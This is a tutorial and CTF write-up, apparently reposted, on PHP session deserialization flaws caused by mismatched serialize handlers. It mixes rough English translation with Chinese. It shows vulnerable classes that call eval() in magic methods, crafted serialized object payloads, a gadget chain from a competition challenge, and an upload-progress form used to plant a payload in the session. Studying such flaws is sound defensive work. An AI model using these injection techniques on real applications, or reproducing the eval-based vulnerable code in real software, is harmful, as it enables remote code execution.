Introduction
There are three configuration items in php.ini:
session.save_path="" --设置session的存储路径 session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式) session.auto_start boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动 session.serialize_handler string --定义用来序列化/反序列化的处理器名字。默认使用php
The above options are options related to Session storage and sequence storage in PHP.
In the installation using the xampp component, the settings of the above configuration items are as follows:
session.save_path="D:\xampp\tmp" 表明所有的session文件都是存储在xampp/tmp下 session.save_handler=files 表明session是以文件的方式来进行存储的 session.auto_start=0 表明默认不启动session session.serialize_handler=php 表明session的默认序列话引擎使用的是php序列话引擎
In the above configuration, session.serialize_handler is used to set the serialization engine of the session, in addition to the default In addition to the PHP engine, there are other engines, and the session storage methods corresponding to different engines are different.
php_binary: The storage method is, the ASCII character corresponding to the length of the key name + the key name + the value serialized by the serialize() function
php: The storage method is, key name + vertical bar + value processed by the serialize() function sequence
php_serialize(php>5.5.4): The storage method is, after serialize () The value of function serialization
uses the PHP engine by default in PHP. If you want to change it to another engine, you only need to add the code ini_set('session.serialize_handler', 'Engine that needs to be set');. The sample code is as follows:
<?php ini_set('session.serialize_handler', 'php_serialize'); session_start(); // do something
Storage mechanism
The content in the session in php is not stored in the memory, but is stored in the form of files. The storage method is determined by the configuration item session.save_handler to determine, the default is to store in the form of a file.
The stored file is named after sess_sessionid, and the content of the file is the content after the sequence of the session value.
Assuming that our environment is xampp, the default configuration is as above.
In the default configuration:
<?php session_start() $_SESSION['name'] = 'spoock'; var_dump(); ?>
The last session is stored and displayed as follows:
You can see that the value of PHPSESSID is jo86ud4jfvu81mbg28sl2s56c2, and the file name stored under xampp/tmp is sess_jo86ud4jfvu81mbg28sl2s56c2, and the content of the file is name|s:6:"spoock";. name is the key value, s:6:"spoock"; is the result of serialize("spoock").
Under the php_serialize engine:
<?php ini_set('session.serialize_handler', 'php_serialize'); session_start(); $_SESSION['name'] = 'spoock'; var_dump(); ?>
The content of the SESSION file is a:1:{s:4:"name";s:6:"spoock";}. a:1 will be added if php_serialize is used for serialization. At the same time, using php_serialize will serialize both the key and value in the session.
Under the php_binary engine:
<?php ini_set('session.serialize_handler', 'php_binary'); session_start(); $_SESSION['name'] = 'spoock'; var_dump(); ?>
The content of the SESSION file is names:6:"spoock";. Since the length of name is 4, 4 corresponds to EOT in the ASCII table. According to the storage rules of php_binary, the last one is names:6:"spoock";. (Suddenly I found that characters with an ASCII value of 4 cannot be displayed on the web page. Please check the ASCII table yourself)
Simple use of serialization
test.php
?php class syclover{ var $func=""; function __construct() { $this->func = "phpinfo()"; } function __wakeup(){ eval($this->func); } } unserialize($_GET['a']); ?>
In line 11, the incoming parameters are serialized. We can pass in a specific string, deserialize it into an example of syclover, and then execute the eval() method. We visit localhost/test.php?a=O:8:"syclover":1:{s:4:"func";s:14:"echo "spoock";";}. Then the content obtained by deserialization is:
object(syclover)[1] public 'func' => string 'echo "spoock";' (length=14)
The last page output is spoock, indicating that the echo "spoock"; method we defined was finally executed.
This is a demonstration of a simple serialization vulnerability
Serialization hazards in PHP Session
There is no problem with the implementation of Session in PHP, the main hazards are Caused by improper use of Session by programmers.
If the engine used by PHP to deserialize the stored $_SESSION data is different from the engine used for serialization, the data will not be deserialized correctly. Through carefully constructed data packets, it is possible to bypass program verification or execute some system methods. For example:
$_SESSION['ryat'] = '|O:11:"PeopleClass":0:{}';
The above $_SESSION data uses php_serialize, then the final stored content is a:1:{s:6:"spoock";s:24:"|O:11:"PeopleClass ":0:{}";}.
But when we are reading, we choose php, then the last content read is:
array (size=1) 'a:1:{s:6:"spoock";s:24:"' => object(__PHP_Incomplete_Class)[1] public '__PHP_Incomplete_Class_Name' => string 'PeopleClass' (length=11)
This is because when using the php engine, the php engine will start with | As the separator between key and value, then a:1:{s:6:"spoock";s:24:" will be used as the key of SESSION, and O:11:"PeopleClass":0:{} will be used as value, and then deserialize, and finally you will get the PeopleClas class.
The different engines used for serialization and deserialization are the cause of the PHP Session serialization vulnerability.
Actual Utilization
There are s1.php and us2.php. The SESSION engines used by the two files are different, forming a vulnerability,
s1.php, Use php_serialize to process session
<?php ini_set('session.serialize_handler', 'php_serialize'); session_start(); $_SESSION["spoock"]=$_GET["a"];
us2.php, use php to process session
ini_set('session.serialize_handler', 'php'); session_start(); class lemon { var $hi; function __construct(){ $this->hi = 'phpinfo();'; } function __destruct() { eval($this->hi); } }
When accessing s1.php, submit the following data:
localhost/s1.php?a=|O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}
At this time, pass The input data will be serialized according to php_serialize.
When accessing us2.php, the page output, spoock successfully executed the function we constructed, because when accessing us2.php, the program will be serialized according to php. Deserialize the data in SESSION. At this time, the forged data will be deserialized, the lemon object will be instantiated, and finally the eval() method in the destructor will be executed.
CTF
在安恒杯中的一道题目就考察了这个知识点。题目中的关键代码如下:
class.php
<?php highlight_string(file_get_contents(basename($_SERVER['PHP_SELF']))); //show_source(__FILE__); class foo1{ public $varr; function __construct(){ $this->varr = "index.php"; } function __destruct(){ if(file_exists($this->varr)){ echo "<br>文件".$this->varr."存在<br>"; } echo "<br>这是foo1的析构函数<br>"; } } class foo2{ public $varr; public $obj; function __construct(){ $this->varr = '1234567890'; $this->obj = null; } function __toString(){ $this->obj->execute(); return $this->varr; } function __desctuct(){ echo "<br>这是foo2的析构函数<br>"; } } class foo3{ public $varr; function execute(){ eval($this->varr); } function __desctuct(){ echo "<br>这是foo3的析构函数<br>"; } } ?>
index.php
<?php ini_set('session.serialize_handler', 'php'); require("./class.php"); session_start(); $obj = new foo1(); $obj->varr = "phpinfo.php"; ?>
通过代码发现,我们最终是要通过foo3中的execute来执行我们自定义的函数。
那么我们首先在本地搭建环境,构造我们需要执行的自定义的函数。如下:
myindex.php
<?php class foo3{ public $varr='echo "spoock";'; function execute(){ eval($this->varr); } } class foo2{ public $varr; public $obj; function __construct(){ $this->varr = '1234567890'; $this->obj = new foo3(); } function __toString(){ $this->obj->execute(); return $this->varr; } } class foo1{ public $varr; function __construct(){ $this->varr = new foo2(); } } $obj = new foo1(); print_r(serialize($obj)); ?>
在foo1中的构造函数中定义$varr的值为foo2的实例,在foo2中定义$obj为foo3的实例,在foo3中定义$varr的值为echo "spoock"。最终得到的序列话的值是
O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:14:"echo "spoock";";}}}
这样当上面的序列话的值写入到服务器端,然后再访问服务器的index.php,最终就会执行我们预先定义的echo "spoock";的方法了。
写入的方式主要是利用PHP中Session Upload Progress来进行设置,具体为,在上传文件时,如果POST一个名为PHP_SESSION_UPLOAD_PROGRESS的变量,就可以将filename的值赋值到session中,上传的页面的写法如下:
<form action="index.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /> <input type="file" name="file" /> <input type="submit" /> </form>
最后就会将文件名写入到session中,具体的实现细节可以参考PHP手册。
那么最终写入的文件名是|O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:1:"1";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:12:"var_dump(1);";}}}。注意与本地反序列化不一样的地方是要在最前方加上|
但是我在进行本地测试的时候,发现无法实现安恒这道题目所实现的效果,但是最终的原理是一样的。
总结
通过对PHP中的SESSION的分析,对PHP中的SESSION的实现原理有了更加深刻的认识。这个PHP的SESSION问题也是一个很好的问题。上述的这篇文章不仅使大家PHP中的SESSION的序列化漏洞有一个认识,也有助于程序员加强在PHP中的SESSION机制的理解。
以上就是PHP 中 Session 反序列化机制的内容,更多相关内容请关注PHP中文网(m.sbmmt.com)!